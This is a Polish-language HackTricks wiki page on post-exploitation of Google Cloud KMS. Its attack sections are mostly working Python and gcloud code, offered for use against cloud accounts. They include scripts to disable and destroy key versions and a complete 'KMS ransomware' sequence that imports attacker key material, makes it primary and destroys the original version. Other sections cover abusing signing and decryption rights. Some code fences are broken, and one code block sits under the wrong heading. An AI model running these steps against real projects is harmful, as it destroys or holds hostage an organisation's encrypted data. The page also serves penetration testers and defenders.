GCP - KMS Post Exploitation
Wspieraj HackTricks
Sprawdź plany subskrypcji!
Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
Dziel się trikami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
KMS
Znajdź podstawowe informacje o KMS w:
GCP - KMS Enumcloudkms.cryptoKeyVersions.destroy
cloudkms.cryptoKeyVersions.destroy
Atakujący z tym uprawnieniem może zniszczyć wersję KMS. Aby to zrobić, najpierw musisz wyłączyć klucz, a następnie go zniszczyć:
# pip install google-cloud-kms
from google.cloud import kms
def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Disables a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
# Call the API to disable the key version.
client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})
def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Destroys a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
# Call the API to destroy the key version.
client.destroy_crypto_key_version(request={'name': key_version_name})
# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1' # Version number to disable and destroy
# Disable the key version
disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
# Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
KMS Ransomware
W AWS możliwe jest całkowite kradzież klucza KMS poprzez modyfikację polityki zasobów KMS i zezwolenie na użycie klucza tylko kontu atakującego. Ponieważ takie polityki zasobów nie istnieją w GCP, nie jest to możliwe.
Jednak istnieje inny sposób na przeprowadzenie globalnego KMS Ransomware, który obejmowałby następujące kroki:
Utwórz nową wersję klucza z materiałem klucza zaimportowanym przez atakującego
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
Ustaw jako domyślną wersję (dla przyszłych danych szyfrowanych)
Ponownie zaszyfruj starsze dane zaszyfrowane poprzednią wersją nową wersją.
Usuń klucz KMS
Teraz tylko atakujący, który posiada oryginalny materiał klucza, będzie w stanie odszyfrować zaszyfrowane dane
Oto kroki, aby zaimportować nową wersję i wyłączyć/usunąć starsze dane:
# Encrypt something with the original key
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
gcloud kms encrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--plaintext-file my-plaintext-file.txt \
--ciphertext-file my-encrypted-file.enc
# Decrypt it
gcloud kms decrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -
# Create an Import Job
gcloud kms import-jobs create my-import-job \
--location us-central1 \
--keyring kms-lab-2-keyring \
--import-method "rsa-oaep-3072-sha1-aes-256" \
--protection-level "software"
# Generate key material
openssl rand -out my-key-material.bin 32
# Import the Key Material (it's encrypted with an asymetrict key of the import job previous to be sent)
gcloud kms keys versions import \
--import-job my-import-job \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--algorithm "google-symmetric-encryption" \
--target-key-file my-key-material.bin
# Get versions
gcloud kms keys versions list \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key
# Make new version primary
gcloud kms keys update \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--primary-version 2
# Try to decrypt again (error)
gcloud kms decrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -
# Disable initial version
gcloud kms keys versions disable \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key 1
# Destroy the old version
gcloud kms keys versions destroy \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--version 1
cloudkms.cryptoKeyVersions.useToEncrypt
| cloudkms.cryptoKeyVersions.useToEncryptViaDelegation
cloudkms.cryptoKeyVersions.useToEncrypt
| cloudkms.cryptoKeyVersions.useToEncryptViaDelegation
Te uprawnienia pozwalają na użycie wersji klucza do szyfrowania danych. W kontekście post-exploitation, mogą być używane do szyfrowania danych wrażliwych, które zostały uzyskane podczas pentestingu.
from google.cloud import kms
import base64
def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)
# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')
# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext
# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)
# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)
cloudkms.cryptoKeyVersions.useToSign
cloudkms.cryptoKeyVersions.useToSign
#### Opis
Uprawnienie `cloudkms.cryptoKeyVersions.useToSign` pozwala atakującemu na użycie wersji klucza kryptograficznego do podpisywania danych.
#### Wykrywanie
Aby wykryć nadużycie tego uprawnienia, monitoruj logi audytowe Cloud KMS pod kątem nietypowych działań związanych z podpisywaniem danych.
#### Eksfiltracja
Atakujący może użyć tego uprawnienia do podpisywania złośliwego kodu lub dokumentów, co może prowadzić do eskalacji uprawnień lub innych ataków.
#### Przykład
```bash
gcloud kms keys versions sign --key <KEY_NAME> --keyring <KEYRING_NAME> --location <LOCATION> --input-file <INPUT_FILE> --output-file <OUTPUT_FILE>
### `cloudkms.cryptoKeyVersions.useToDecrypt`
```markdown
#### Opis
Uprawnienie `cloudkms.cryptoKeyVersions.useToDecrypt` pozwala atakującemu na użycie wersji klucza kryptograficznego do odszyfrowywania danych.
#### Wykrywanie
Aby wykryć nadużycie tego uprawnienia, monitoruj logi audytowe Cloud KMS pod kątem nietypowych działań związanych z odszyfrowywaniem danych.
#### Eksfiltracja
Atakujący może użyć tego uprawnienia do odszyfrowania poufnych danych, co może prowadzić do wycieku informacji.
#### Przykład
```bash
gcloud kms keys versions decrypt --key <KEY_NAME> --keyring <KEYRING_NAME> --location <LOCATION> --ciphertext-file <CIPHERTEXT_FILE> --plaintext-file <PLAINTEXT_FILE>
```python
import hashlib
from google.cloud import kms
def sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message):
"""
Sign a message using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}
# Call the API to sign the digest.
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest)
return sign_response.signature
# Example usage for signing
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1'
message = 'your-message'
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
print('Signature:', signature)
cloudkms.cryptoKeyVersions.useToVerify
cloudkms.cryptoKeyVersions.useToVerify
#### Opis
Ten uprawnienie pozwala na użycie wersji klucza kryptograficznego do weryfikacji podpisów cyfrowych.
#### Wykorzystanie
Jeśli posiadasz to uprawnienie, możesz weryfikować podpisy cyfrowe przy użyciu określonej wersji klucza kryptograficznego. Może to być użyteczne w scenariuszach, gdzie chcesz potwierdzić autentyczność danych lub komunikacji.
#### Przykład
```bash
gcloud kms keys versions verify --location=global --keyring=my-keyring --key=my-key --version=1 --input-file=signature.dat --signature-file=signature.sig --algorithm=RSA_SIGN_PSS_2048_SHA256
```python
from google.cloud import kms
import hashlib
def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}
# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success
# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
Wspieraj HackTricks
Sprawdź plany subskrypcji!
Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
Dziel się trikami hakerskimi, przesyłając PR do HackTricks i HackTricks Cloud repozytoriów na githubie.
Last updated